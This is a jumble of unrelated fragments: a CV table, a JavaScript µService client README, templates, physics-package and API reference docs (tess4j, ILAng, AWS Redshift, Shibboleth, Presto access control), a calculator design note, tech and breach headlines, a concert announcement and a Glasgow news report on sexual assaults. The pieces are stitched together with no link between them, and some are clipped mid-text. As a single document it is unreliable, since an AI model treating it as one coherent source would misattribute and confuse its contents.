| Period | Company | Role |
|---|---|---|
| 2000 - 2003 | Renesas Sofware Vietnam | Embeded Software Engineer |
| 2003 - 2005 | Golbal Cybersoft Vietname | Project Manager |
| 2005 - 2007 | Software Engineer | |
| 2007 - 2009 | FPT Software | Team leader |
| Project Name | Technology | Domain | Time-Frame |
|---|---|---|---|
| All of these were done in team size of 4 to 8 | |||
| Driver Control | Asembly, System C | Mobile Devices | 4 months |
| Healthcare Management | Java, Spring MVC Hibernate | Medical | 12 months |
| Financial Management | Java, Spring MVC, Hibernate | Banking | 12 months |
| Driver Control | Java, Spring MVC, Hibernate, COM+ | Banking Insurance | 12 months |


Simplistic µService library
Mini-client is a generic client for µServices built with mini-service. The goal of mini-service is to give the minimal structure to implement a µService, that can be invoked locally or remotely.
Its principles are the following:
mini-client & mini-service use the latest ES6 features, so they requires node 6+
Please checkout the API reference
This project was kindly sponsored by nearForm.
Mini-client expose a generic client that can be wired to any service exposed with mini-service. It provides an JavaScript object, that will fetch exposed APIs and creates a function for each of them. This allow to invoke remote API like if they were plain function (it's a kind of good old RPC).
caller-remote.js
const getClient = require('mini-client')
const calc = getClient({
remote: 'http://localhost:3000'
})
calc.add(10, 5).then(sum => console.log(`Result is: ${sum}`))
Each API will end-up as a function (named after the API itself) that returns a promise. Calling a function that isn't an exposed API will fails as if you try to invoked an unknown property of a regular object.
At the first call, mini-client fetch from the remote server the exposed API and creates the actual functions.
After being initialized, a mini-client can't be wired to another service, and will always try to invoke the one it was initiliazed with.
Please note that you can call init()
(see bellow), which doesn't do anything in "remote mode".
While calling remote service is a realistic scenario for production environments, it's more convenient to run all code in the same unit on dev (for debugging) and in continuous integration.
That's why mini-client can run the in "local mode". In this case, the service definition is loaded at initialization.
caller-local.js
const getClient = require('mini-client')
const calcService = require('./calc-service')
const calc = getClient(calcService)
calc.init().then(() =>
calc.add(10, 5).then(sum => console.log(`Result is: ${sum}`))
)
Two noticeable difference with "remote mode":
init()
prior to any call, which run exposed API initialization code
(as if the server were starting)Then, you can invoke exposed APIs as function like in "remote mode".
When invoking an exposed API, Mini-client can report parameters validation error. If the distant service denies the operation because of a missing or errored parameter, the returned promise will be rejected with the appropriate error message.
When Mini-client is running in remote mode, it caches remote exposed API at first call. But what would happened if a new version of remote server is redeployed ?
If the list of newer exposed API equals the one used when Mini-client was started, everything will be fine. But if the two lists are different, then there's a chance that Mini-client will invoke URLs that don't exist any more, or requires different parameters.
To detect such changes, the CRC-32 checksum of the exposed Api list is sent by remote server in the X-Service-CRC
response header.
On each call, Mini-client will compare that checksum with the one valid when it initialized.
If both value differs, then Mini-Client will:
Remote server isn't compatible with current client (expects<EMAIL_ADDRESS>When Mini-client is running on local mode, such situation can never happen.
Copyright Damien Simonin Feugas and other contributors, licensed under MIT.
None: v4 is using async/await, which requires node@8+. Code is fully backward compatible.
Groups are now used as sub-objects of mini-client.
Given a service exposing:
ping
without group (or if group has same name as overall service)a
with apis ping
& pong
b
with api ping
the final Mini-client will be:
client = {
ping(),
a: {
ping(),
pong()
},
b: {
ping()
}
}
Local services, as remote services, must have name
and version
options defined
When loading services, the services
property was renamed to groups
, and serviceOpts
is now groupOpts
:
const {startServer} = require('mini-service')
startServer({
groups: [ // was services previously
require('../serviceA'),
require('../serviceB'),
require('../serviceC')
],
groupOpts: { // was serviceOpts previously
serviceA: {},
serviceB: {},
serviceC: {}
}
})


{% extends 'dashboard_layout.html' %} {% block title %}Add New Exercise{% endblock %} {%block breadcrumb %}
Here you can add new exercise events.
You can use this form to compare the all time performance of two members.
Here are your last ten exercise events.
| Date | Exercise | Duration | Calories Burned |
|---|---|---|---|
| {{ data.get_date() }} | {{ data.get_exercise() }} | {{ data.exercise_duration }} Hour(s) | {{ data.calories_burned }} Calories |
| Date | Exercise | Duration | Calories Burned |
|---|---|---|---|
| {{ data.get_date() }} | {{ data.get_exercise() }} | {{ data.exercise_duration }} Hour(s) | {{ data.calories_burned }} Calories |


⌘ MemoryGame
A memory game based on
MemoryGameEngine
Start new game
You completed 🙋 Yay!
Attempts:
Time:
Settings
Resetdelay
The amount of milliseconds that elapse before picked card close(unless you beat it to it). A value of 0 will close cards on next click.
Level
The factor to duplicate items by.
Images
Select local pictures for cards.
Select


Welcome to powspechi!¶
A package of power spectral fun for heavy-ion physics!
There is a plethora of high energy physics articles out there which describes the matter formed in the collisions of heavy-ions as akin to the primordial universe. Such matter is, after all, an extremely hot and dense soup of quarks and gluons, just like the first moments after the Big Bang.
On that note, our oldest window into the creation of the universe are photons that freely streamed after the first atoms were formed. These photons compose the cosmic microwave background (CMB), from which cosmologists have been able to glean not only information on the metric of the universe, but also on its dark matter and energy compositions.
When considering the quark-gluon plasma (QGP) created in accelerators and the CMB, their analyses comprise on studying how left-over debris are distributed. In other words, what are the preferred directions of emission of the resulting particles? How can these anisotropies help in the understanding of said phenomena?
This project combines CMB methods with QGP debris, an exploration which resulted in the works: “Angular power spectrum of heavy ion collisions”, by M. Machado, P.H. Damgaard, J.J. Gaardhoeje and C. Bourjau, and its follow-up “Heavy ion anisotropies: a closer look at the angular power spectrum”, by M. Machado. Both deal with ALICE public data on Pb-Pb collisions from 2010 extracted through the mALICE framework.
Dive into the angular power spectrum analysis of heavy-ions by submitting your favorite 3+1D-model data,
experimental data itself, or simple MC-simulated particle distributions! Through the powspechi
package,
which is coupled to HEALPix, one can map hadrons onto the surface of a sphere, calculate their angular
power spectra and perform the necessary corrections. Just install the package and try out the tutorial!
Note
The resulting angular power spectra will always be given as a dictionary. Single and averaged spectra follow the schematic formats below:
single_powspec = {'full': numpy.array(), 'mdz': numpy.array()}
avg_powspec = {'full': [numpy.mean(), numpy.std()], 'mdz': [numpy.mean(), numpy.std()]}
where ‘full’ and ‘mdz’ correspond to \(C_{\ell}\) and \(C^{m\neq0}_{\ell}\), respectively. The
latter quantities are defined in powspec_calc.maps2cld
.
Tutorial¶
Explore the angular power spectrum analysis of a data set of simply simulated particle distributions by downloading the tutorial.zip file. It is over 200 MB due to the data set itself. It is also possible to visualize the tutorial notebook with all of its plots through Jupyter nbviewer by clicking here.


| 程序包 | 说明 |
|---|---|
| net.sourceforge.tess4j | |
| net.sourceforge.tess4j.util |
| 类和说明 |
|---|
| ITessAPI
An interface represents common TessAPI classes/constants.
|
| ITessAPI.CANCEL_FUNC
Callback for
cancel_func . |
| ITessAPI.EANYCODE_CHAR
It should be noted that the format for char_code for version 2.0 and
beyond is UTF-8, which means that ASCII characters will come out as one
structure but other characters will be returned in two or more instances
of this structure with a single byte of the UTF-8 code in each, but each
will have the same bounding box.
|
| ITessAPI.ETEXT_DESC
Description of the output of the OCR engine.
|
| ITessAPI.TessBaseAPI
Base class for all tesseract APIs.
|
| ITessAPI.TessChoiceIterator |
| ITessAPI.TessMutableIterator
MutableIterator adds access to internal data structures.
|
| ITessAPI.TessPageIterator
Class to iterate over tesseract page structure, providing access to all
levels of the page hierarchy, without including any tesseract headers or
having to handle any tesseract structures.
|
| ITessAPI.TessResultIterator
Iterator for tesseract results that is capable of iterating in proper
reading order over Bi Directional (e.g. mixed Hebrew and English) text.
|
| ITessAPI.TessResultRenderer
Interface for rendering tesseract results into a document, such as text,
HOCR or pdf.
|
| ITessAPI.TimeVal |
| ITesseract
An interface represents common OCR methods.
|
| ITesseract.RenderedFormat
Rendered formats supported by Tesseract.
|
| TessAPI
A Java wrapper for
Tesseract OCR 3.04 API using
JNA Interface Mapping . |
| TessAPI1
A Java wrapper for
Tesseract OCR 3.04 API using
JNA Direct Mapping . |
| Tesseract
An object layer on top of
TessAPI , provides character
recognition support for common image formats, and multi-page TIFF images
beyond the uncompressed, binary TIFF format supported by Tesseract OCR
engine. |
| TesseractException |
| Word
Encapsulates Tesseract OCR results.
|
| 类和说明 |
|---|
| TessAPI
A Java wrapper for
Tesseract OCR 3.04 API using
JNA Interface Mapping . |


|
ilang
0.9.0
ILAng: A Modeling and Verification Platform for SoCs
|
Verilog Target Generation Configuration. More...
#include <vtarget_gen.h>
Public Types | |
| enum | { INST, INV, BOTH } |
| Set the targets: instructions/invariants/both. | |
| enum | { AUTO = 0, NEW = 1, OLD = 2 } |
| For COSA target generator : whether to force NEW/OLD port declaration. | |
Public Member Functions | |
| _vtg_config () | |
| The default constructor for default values. | |
Public Attributes | |
| enum ilang::VlgVerifTgtGenBase::_vtg_config:: { ... } | target_select |
| Set the targets: instructions/invariants/both. | |
| std::string | CheckThisInstructionOnly |
| If not an empty string, then only check for that instruction. | |
| bool | InstructionNoReset |
| bool | OnlyCheckInstUpdatedVars |
| bool | PerVariableProblemCosa |
| Do we set separate problems for different var map (CoSA only) | |
| bool | MemAbsReadAbstraction |
| Whether to abstract the memory read. | |
| bool | ForceInstCheckReset |
| Whether to force the instruction check to start from reset state. | |
| enum ilang::VlgVerifTgtGenBase::_vtg_config:: { ... } | PortDeclStyle |
| For COSA target generator : whether to force NEW/OLD port declaration. | |
| bool | CosaGenJgTesterScript |
| Generate a jg script to help validate cosa? | |
| bool | CosaAddKeep |
| unsigned | MaxBound |
| bool | OnlyAssumeUpdatedVarsEq |
| Only enforce var eq on updated vars, should not be used. | |
| std::string | CosaPath |
| If not empty, the generated script will include the path of Cosa. | |
| std::string | CosaPyEnvironment |
| If not empty, the generated script will include sourcing a script. | |
| std::string | CosaSolver |
| A choice of solver (in the script) | |
| bool | CosaGenTraceVcd |
| Whether the Solver should generate vcd trace. | |
| std::string | CosaOtherSolverOptions |
| other CoSA options | |
Verilog Target Generation Configuration.
| bool ilang::VlgVerifTgtGenBase::_vtg_config::CosaAddKeep |
For CoSA backend: do we add (* keep *)? default true, however, it can be buggy, so you can disable it if you want
| bool ilang::VlgVerifTgtGenBase::_vtg_config::InstructionNoReset |
Ensure the instruction will not be reseted while in the whole execution of checking instruction from reseted –> to forever
| bool ilang::VlgVerifTgtGenBase::_vtg_config::OnlyCheckInstUpdatedVars |
Does not insert assertions of variable mapping if an instruction does not update that var


Class: Aws::Redshift::Types::DescribeClusterSnapshotsMessage
| Relationships & Source Files | |
| Super Chains via Extension / Inclusion / Inheritance | |
|
Class Chain:
self,
Struct
|
|
|
Instance Chain:
self,
::Aws::Structure ,
Struct
|
|
| Inherits: |
Struct
|
| Defined in: | gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb |
Overview
Constant Summary
Instance Attribute Summary
-
#cluster_exists ⇒ Boolean
rw
A value that indicates whether to return snapshots only for an existing cluster.
-
#cluster_identifier ⇒ String
rw
The identifier of the cluster which generated the requested snapshots.
-
#end_time ⇒ Time
rw
A time value that requests only snapshots created at or before the specified time.
-
#marker ⇒ String
rw
An optional parameter that specifies the starting point to return a set of response records.
-
#max_records ⇒ Integer
rw
The maximum number of response records to return in each call.
-
#owner_account ⇒ String
rw
The Amazon Web Services account used to create or copy the snapshot.
-
#snapshot_arn ⇒ String
rw
The Amazon
::Aws::Redshift::Resource
Name (ARN) of the snapshot associated with the message to describe cluster snapshots. -
#snapshot_identifier ⇒ String
rw
The snapshot identifier of the snapshot about which to return information.
-
#snapshot_type ⇒ String
rw
The type of snapshots for which you are requesting information.
- #sorting_entities ⇒ Array<Types::SnapshotSortingEntity> rw
-
#start_time ⇒ Time
rw
A value that requests only snapshots created at or after the specified time.
-
#tag_keys ⇒ Array<String>
rw
A tag key or keys for which you want to return all matching cluster snapshots that are associated with the specified key or keys.
-
#tag_values ⇒ Array<String>
rw
A tag value or values for which you want to return all matching cluster snapshots that are associated with the specified tag value or values.
Instance Method Summary
::Aws::Structure
- Included
| #to_hash | Alias for Structure#to_h. |
Instance Attribute Details
#cluster_exists ⇒ Boolean
(rw)
A value that indicates whether to return snapshots only for an existing cluster. You can perform table-level restore only by using a snapshot of an existing cluster, that is, a cluster that has not been deleted. Values for this parameter work as follows:
If
ClusterExists
is set totrue
,ClusterIdentifier
is required.If
ClusterExists
is set tofalse
andClusterIdentifier
isn't specified, all snapshots associated with deleted clusters (orphaned snapshots) are returned.If
ClusterExists
is set tofalse
andClusterIdentifier
is specified for a deleted cluster, snapshots associated with that cluster are returned.If
ClusterExists
is set tofalse
andClusterIdentifier
is specified for an existing cluster, no snapshots are returned.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#cluster_identifier ⇒ String
(rw)
The identifier of the cluster which generated the requested snapshots.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#end_time ⇒ Time
(rw)
A time value that requests only snapshots created at or before the specified time. The time value is specified in ISO 8601 format. For more information about ISO 8601, go to the ISO8601 Wikipedia page.
Example: 2012-07-16T18:00:00Z
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#marker ⇒ String
(rw)
An optional parameter that specifies the starting point to return a
set of response records. When the results of a
DescribeClusterSnapshots request exceed the value specified in
MaxRecords
, Amazon Web Services returns a value in the Marker
field of the response. You can retrieve the next set of response
records by providing the returned marker value in the Marker
parameter and retrying the request.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#max_records ⇒ Integer
(rw)
The maximum number of response records to return in each call. If
the number of remaining response records exceeds the specified
MaxRecords
value, a value is returned in a marker
field of the
response. You can retrieve the next set of records by retrying the
command with the returned marker value.
Default: 100
Constraints: minimum 20, maximum 100.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#owner_account ⇒ String
(rw)
The Amazon Web Services account used to create or copy the snapshot. Use this field to filter the results to snapshots owned by a particular account. To describe snapshots you own, either specify your Amazon Web Services account, or do not specify the parameter.

# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#snapshot_identifier ⇒ String
(rw)
The snapshot identifier of the snapshot about which to return information.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#snapshot_type ⇒ String
(rw)
The type of snapshots for which you are requesting information. By default, snapshots of all types are returned.
Valid Values: automated
| manual
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#sorting_entities ⇒ Array
<Types::SnapshotSortingEntity> (rw)
[ GitHub ]
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#start_time ⇒ Time
(rw)
A value that requests only snapshots created at or after the specified time. The time value is specified in ISO 8601 format. For more information about ISO 8601, go to the ISO8601 Wikipedia page.
Example: 2012-07-16T18:00:00Z
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#tag_keys ⇒ Array
<String
> (rw)
A tag key or keys for which you want to return all matching cluster
snapshots that are associated with the specified key or keys. For
example, suppose that you have snapshots that are tagged with keys
called owner
and environment
. If you specify both of these tag
keys in the request, Amazon Redshift returns a response with the
snapshots that have either or both of these tag keys associated with
them.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end
#tag_values ⇒ Array
<String
> (rw)
A tag value or values for which you want to return all matching
cluster snapshots that are associated with the specified tag value
or values. For example, suppose that you have snapshots that are
tagged with values called admin
and test
. If you specify both of
these tag values in the request, Amazon Redshift returns a response
with the snapshots that have either or both of these tag values
associated with them.
# File 'gems/aws-sdk-redshift/lib/aws-sdk-redshift/types.rb', line 3955
class DescribeClusterSnapshotsMessage < Struct.new( :cluster_identifier, :snapshot_identifier, :snapshot_arn, :snapshot_type, :start_time, :end_time, :max_records, :marker, :owner_account, :tag_keys, :tag_values, :cluster_exists, :sorting_entities) SENSITIVE = [] include Aws::Structure end


Do you really want to delete? {{user?.firstName}} {{user?.lastName}}
Notice that : this action is irreversible !


| Package | Description |
|---|---|
| net.shibboleth.utilities.java.support.logic |
Classes that represent basic first order logic concepts.
|
| net.shibboleth.utilities.java.support.net |
Classes for working with HTTP URLs and the protocol.
|
| net.shibboleth.utilities.java.support.primitive |
A set of utilities dealing with Java's primitive types.
|
| net.shibboleth.utilities.java.support.resolver |
Interfaces for searching over data.
|
| net.shibboleth.utilities.java.support.security |
Helpers for common security related tasks.
|
| net.shibboleth.utilities.java.support.xml |
A set of helper functions for performing actions on DOM nodes.
|
| Constructor and Description |
|---|
StrategyIndirectedPredicate(com.google.common.base.Function<T1,T2> objectStrategy,
Collection<T2> collection)
Constructor that simplifies constructing a test for containment in a collection, which
is a common use case.
|
| Modifier and Type | Field and Description |
|---|---|
private Map<String,Cookie> |
CookieBufferingFilter.CookieBufferingHttpServletResponseProxy.cookieMap
Map of delayed cookie additions.
|
| Modifier and Type | Method and Description |
|---|---|
protected Map<String,Cookie> |
CookieBufferingFilter.CookieBufferingHttpServletResponseProxy.getCookies()
Get the map of cookies that will be set.
|
| Modifier and Type | Method and Description |
|---|---|
static Collection<String> |
StringSupport.normalizeStringCollection(Collection<String> values)
Normalize a string collection by:
Safely trimming each member.
Converting all empty members to null.
Removing any null members.
|
| Modifier and Type | Method and Description |
|---|---|
Iterable<ProductType> |
Resolver.resolve(CriteriaType criteria)
Process the specified criteria and return the resulting instances of the product type
which satisfy the criteria.
|
| Modifier and Type | Field and Description |
|---|---|
private Collection<IPRange> |
IPRangeAccessControl.allowedRanges
List of CIDR blocks allowed to access this servlet.
|
private Map<String,AccessControl> |
BasicAccessControlService.policyMap
Map of named policies.
|
| Modifier and Type | Method and Description |
|---|---|
protected org.bouncycastle.asn1.ASN1Encodable[] |
SelfSignedCertificateGenerator.buildSubjectAltNames()
Builds the subject alt names for the certificate.
|
| Modifier and Type | Method and Description |
|---|---|
void |
IPRangeAccessControl.setAllowedRanges(Collection<IPRange> ranges)
Set the CIDR address ranges to allow.
|
void |
SelfSignedCertificateGenerator.setDNSSubjectAltNames(Collection<String> altNames)
Set the optional DNS subject alt names.
|
void |
BasicAccessControlService.setPolicyMap(Map<String,AccessControl> map)
Set the policies to store.
|
void |
SelfSignedCertificateGenerator.setURISubjectAltNames(Collection<String> altNames)
Set the optional URI subject alt names.
|
| Modifier and Type | Field and Description |
|---|---|
private List<Source> |
SchemaBuilder.sources
Sources of schema material compatible with JAXP.
|
| Modifier and Type | Method and Description |
|---|---|
Map<String,Object> |
BasicParserPool.getBuilderAttributes()
Gets the builder attributes used when creating builders.
|
Map<String,Boolean> |
BasicParserPool.getBuilderFeatures()
Gets the builders' features.
|
Copyright © 1999–2015. All rights reserved.


Design Choices¶
The design was not our first goal, so we tried to do something simple.
We used a design like the Google Calculator.
This design is clean but useful, we can use a lot of functions like *sqrt* or *cos*.
Design components¶
JFrame¶
We used a Jframe’s child. This class was our main view element, we could use JPanel in this container.
JPanel¶
We had only one JPanel with all JButton and and JTextArea in this one. This choice was not not first one, indeed, at the begining we started to create an abstract class to allow to create a lot of JPanel’s Frame.
We created this abstract class to allow us some flexibility with these panels. We wanted to allow the user to switch between basic mode and scientific mode. We stopped it because the google calculator was clean without option like basic / scientific.
In our Abstract class we used *GridBagLayout*, this class allow us a lot of flexibility in the layout. This choice could be good, but we didn’t use it enought, it was an over rating.
JButton¶
To create our buttons, we used *JButton* with *GridBagConstraints* to set its position. To reproduce the Google Calculator we set each button with a specific background (light grey) and we set the equal button blue.


If you are connected to the internet go to https://www.instagram.com/explore/tags/fallback/ to search for a tag.


Xiaomi Data Breach — "Exposing Xiaomi" Talk Pulled from Hacking Conference Data Breach — Millions of Xiaomi Mi Accounts Hacked by Taiwanese Researcher. Session Pulled from Ground Zero Summit Hacking Conference.
FBI Issues Warning on ‘Secure’ Websites Used For Phishing FBI issued a public service announcement regarding TLS-secured websites being actively used by malicious actors in phishing campaigns to trick users into trusting attacker-controlled sites and handing over sensitive personal information.
Apollo 11 in Real-time A real-time interactive journey through the Apollo 11 mission. Relive every moment as it occurred in 1969.
Fsyncgate: errors on fsync are unrecovarable This is an archive of the original "fsyncgate" email thread. This is posted here because I wanted to have a link that would fit on a slide for a talk on file safety with a mobile-friendly non-bloated format.
Roll20 and Stronghold Kingdoms Subject to Security Breach In an article posted on TechCrunch February 14, the tech site revealed a potential 127 million compromised accounts. Following the announcement of 617 million other breached accounts, an individual compromised most of the accounts during 2018. This brings...
Yūbinkyoku 🏣 - Tristan Hume Made as my final project for UWaterloo's CS488 Graphics class, this is the demo page for my path tracing renderer made with the goal of maximum photorealism. I put about a full time month's worth of work effort into this project, way more than required, s...
Thor: Love and Thunder to Star Natalie Portman as Thor Marvel fans were elated to learn earlier this week that Thor: Ragnarok director Taika Waititi [...]


Check this out, you know how much we love firsts and we are always extremely proud to wave the flag for our hometown of San Francisco, so this first is particularly exciting as we announce that we will be performing at the grand opening celebration of the Chase Center with S&M² on Friday, September 6th. That’s right, not only will this be the inaugural event at the new arena in the city, but we will be playing once again with the San Francisco Symphony Orchestra as we join together to commemorate this historic addition to the Bay Area and mark the 20th anniversary of the S&M concerts and album release. We’re honored that legendary conductor Michael Tilson Thomas will kick off his final season as San Francisco Symphony Musical Director with a special appearance conducting a portion of the show. James and Lars joined Michael, along with representatives from the Golden State Warriors and San Francisco mayor London Breed, to make the announcement at the Chase Center today. Watch the Annoucement Presales for Fan Club members begin tomorrow, March 19th with the Legacy Member sale beginning at 9 AM Pacific Time and the Fifth Member sale beginning at 10 AM Pacific Time. Please visit the Club News section for additional details including where to find your presale code. Tickets will go on sale the general public on Friday, March 22nd at 10 AM Pacific Time at chasecenter.com. Please join us for this one-night-only show as we celebrate the addition of what is sure to become a cultural landmark in the Bay Area. We’re thrilled to be invited to be a part of it and humbled to be sharing the stage with the legendary MTT and the city’s finest musicians in the San Francisco Symphony.


3.5. Built-in System Access Control
A system access control plugin enforces authorization at a global level, before any connector level authorization. You can either use one of the built-in plugins in Presto or provide your own by following the guidelines in System Access Control. Presto offers three built-in plugins:
| Plugin Name | Description |
|---|---|
allow-all (default value) |
All operations are permitted. |
read-only |
Operations that read data or metadata are permitted, but none of the operations that write data or metadata are allowed. See Read Only System Access Control for details. |
file |
Authorization checks are enforced using a config file
specified by the configuration property security.config-file .
See File Based System Access Control for details. |
Allow All System Access Control
All operations are permitted under this plugin. This plugin is enabled by default.
Read Only System Access Control
Under this plugin, you are allowed to execute any operation that reads data or
metadata, such as SELECT
or SHOW
. Setting system level or catalog level
session properties is also permitted. However, any operation that writes data or
metadata, such as CREATE
, INSERT
or DELETE
, is prohibited.
To use this plugin, add an etc/access-control.properties
file with the following contents:
access-control.name=read-only
File Based System Access Control
This plugin allows you to specify access control rules in a file. To use this
plugin, add an etc/access-control.properties
file containing two required
properties: access-control.name
, which must be equal to file
, and
security.config-file
, which must be equal to the location of the config file.
For example, if a config file named rules.json
resides in etc
, add an etc/access-control.properties
with the following
contents:
access-control.name=file
security.config-file=etc/rules.json
The config file is specified in JSON format.
- It contains the rules defining which catalog can be accessed by which user (see Catalog Rules below).
- The principal rules specifying what principals can identify as what users (see Principal Rules below).
This plugin currently only supports catalog access control rules and principal rules. If you want to limit access on a system level in any other way, you must implement a custom SystemAccessControl plugin (see System Access Control).
Catalog Rules
These rules govern the catalogs particular users can access. The user is granted access to a catalog based on the first matching rule read from top to bottom. If no rule matches, access is denied. Each rule is composed of the following fields:
user
(optional): regex to match against user name. Defaults to.*
.catalog
(optional): regex to match against catalog name. Defaults to.*
.allow
(required): boolean indicating whether a user has access to the catalog
Note
By default, all users have access to the system
catalog. You can
override this behavior by adding a rule.
For example, if you want to allow only the user admin
to access the
mysql
and the system
catalog, allow all users to access the hive
catalog, and deny all other access, you can use the following rules:
{
"catalogs": [
{
"user": "admin",
"catalog": "(mysql|system)",
"allow": true
},
{
"catalog": "hive",
"allow": true
},
{
"catalog": "system",
"allow": false
}
]
}
Principal Rules
These rules serve to enforce a specific matching between a principal and a specified user name. The principal is granted authorization as a user based on the first matching rule read from top to bottom. If no rules are specified, no checks will be performed. If no rule matches, user authorization is denied. Each rule is composed of the following fields:
principal
(required): regex to match and group against principal.user
(optional): regex to match against user name. If matched, it will grant or deny the authorization based on the value ofallow
.principal_to_user
(optional): replacement string to substitute against principal. If the result of the substitution is same as the user name, it will grant or deny the authorization based on the value ofallow
.allow
(required): boolean indicating whether a principal can be authorized as a user.
Note
You would at least specify one criterion in a principal rule. If you specify both criteria in a principal rule, it will return the desired conclusion when either of criteria is satisfied.
The following implements an exact matching of the full principal name for LDAP and Kerberos authentication:
{
"catalogs": [
{
"allow": true
}
],
"principals": [
{
"principal": "(.*)",
"principal_to_user": "$1",
"allow": true
},
{
"principal"<EMAIL_ADDRESS>"principal_to_user": "$1",
"allow": true
}
]
}
If you want to allow users to use the extractly same name as their Kerberos principal
name, and allow alice
and bob
to use a group principal named as
<EMAIL_ADDRESS>, you can use the following rules.
{
"catalogs": [
{
"allow": true
}
],
"principals": [
{
"principal"<EMAIL_ADDRESS>"principal_to_user": "$1",
"allow": true
},
{
"principal"<EMAIL_ADDRESS>"user": "alice|bob",
"allow": true
}
]
}


Home
English
Science
Menu
Tools
Conversation
Math
The Page for your Mathematical Needs!
Calculator
Area Calculator
Triangle
Rectangle
Circle
Base:
Height:
Area:
Base:
Height:
Area:
Radius:
Area:
Trigonometry Formulas
Calculus Formula
Please enable JavaScript to view the
comments powered by Disqus.


BE SAFE
University of Glasgow issue warning to students after woman, 20, raped and three ‘sex attacks’ in city’s west end
by Katy PaganGLASGOW students have been warned to stay safe after a woman was raped and separately three others were allegedly sexually assaulted in the city's west end.
University of Glasgow chiefs issued an "important security message" tonight after the spate of alleged attacks.
On October 17 two women were allegedly sexually assaulted - one in Lawrence Street, Partick, and the other in Napier Halls Street, North Woodside.
Another woman was allegedly sexually assaulted on October 24 in Cranworth Street, Hillhead.
Cops have arrested and charged a man, 34, in connection with the three alleged attacks.
In a separate incident, in the early hours of October 31, a 20-year-old woman was raped in Sutherland Lane, near the university's library.
There is no suggestion that the rape is linked to the alleged assaults.
But a police spokeswoman confirmed they are following a "number of lines of enquiry" in connection with the rape.
Increased security patrols have now been brought in around the University of Glasgow campus and improved lighting has been installed.
In a social media warning, uni bosses said: "Recently there have been four alleged cases of sexual assault in the West End of Glasgow.
"Incidents like this are rare and student and staff safety is of the utmost importance to the University.
"We work extremely closely with Police Scotland and we have increased security patrols and improved lighting on campus.
"If you have any concerns or information to report, please contact our security team on 0141 330 4282 or Police Scotland 101."


backend.ml_model.client_server package¶
Submodules¶
backend.ml_model.client_server.database_learner module¶
-
class
backend.ml_model.client_server.database_learner.
DatabasePreferenceLearner
(**kwargs)¶ Bases:
object
Learn models from the database, save/restore.
-
__init__
(directory=None, load=True, save=True)¶ Initialize self. See help(type(self)) for accurate signature.
-
create_models
()¶ Fill the user_to_model and aggregator fields.
-
fit
()¶ Fit on latest database records.
-
static
get_dataset
(user)¶ Get dataset for a user. Format: (v_emb1, v_emb2, result).
-
load
()¶ Load weights.
-
predict_aggregated
(videos)¶ Predictions for the aggregated model.
-
predict_user
(user, videos)¶ Prediction for one user, or None if there’s nothing there.
-
save
()¶ Save weights.
-
save_figure
()¶
-
update_features
()¶ Update the features for all videos in the database using the fitted model.
